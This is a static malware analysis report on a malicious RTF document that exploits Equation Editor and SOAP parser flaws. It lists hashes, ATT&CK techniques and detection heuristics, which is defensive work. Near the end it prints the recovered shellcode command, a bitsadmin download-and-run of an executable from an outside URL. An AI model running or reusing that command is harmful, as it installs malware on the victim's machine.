Malicious RTF — malware analysis report

Static analysis result for SHA-256 2c441884da8f1152…

MALICIOUS

RTF

441.1 KB Created: 2018-04-25 09:50:00 First seen: 2019-06-27
MD5: 60f2c6f8a32c4f36995166c4097cfa90 SHA-1: b650087c24c56012c3bee8dbac87e58db97b50a2 SHA-256: 2c441884da8f11528820c421ab5d2040ddd4c363a46bc1e07d8df4dcec29afbc
262 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The RTF file contains embedded OLE objects and exploits known vulnerabilities, specifically CVE-2017-11882 and CVE-2017-8759, to achieve code execution. The presence of shellcode-related strings and a suspicious URL suggests that the file is designed to download and execute a second-stage payload from 'http://www.tatabula.com/xxxx.exe'. This indicates a likely spearphishing attachment delivery method.

Heuristics 7

  • CVE-2017-11882 — Equation Editor FONT record overflow critical CVE likely CVE_2017_11882
    Equation Editor MTEF contains an overlong FONT typeface field, the vulnerable copy primitive for CVE-2017-11882. This is stronger evidence than the Equation Editor CLSID alone because it identifies the malformed record that drives code execution in EQNEDT32.EXE.
  • CVE-2017-8759 — MSXML SAX OLE activation critical CVE likely CVE_2017_8759
    RTF contains a hex-encoded OLE1 object for Msxml2.SAXXMLReader.6.0 followed by an embedded OLE compound document, and the document requests OLE activation. This matches the RTF staging shape used for CVE-2017-8759 SOAP/WSDL parser code injection.
  • Suspicious extracted artifact critical EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • \objupdate forces OLE activation high RTF_OBJUPDATE
    RTF contains \objupdate — forces automatic OLE object instantiation when the document is opened, bypassing user interaction. Almost exclusively seen in Equation Editor exploit documents.
  • OLE object data medium RTF_OBJDATA
    RTF contains 1 \objdata section(s) — embedded OLE objects
  • Embedded OLE object medium RTF_OBJEMB
    RTF contains \objemb — embedded OLE object
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.tatabula.com/xxxx.exe In RTF body
    • http://schemas.microsoft.com/office/word/2003/wordmlIn RTF body

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
objdata_00_off0000b9dd.bin rtf-objdata-decoded RTF \objdata at offset 0xB9DD 15672 bytes
SHA-256: 09056aef207c973d833be1af6aded34af74b1ba34334c53f8e43a3819e60abb5
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Static shellcode analysis recovered URL(s): http://www.tatabula.com/xxxx.exe Static shellcode analysis recovered command string(s): cmd.exe /c bitsadmin /transfer eR /priority foreground http://www.tatabula.com/xxxx.exe %USERPROFILE%\QIM.exe && start %USERPROFILE%\QIM.exe

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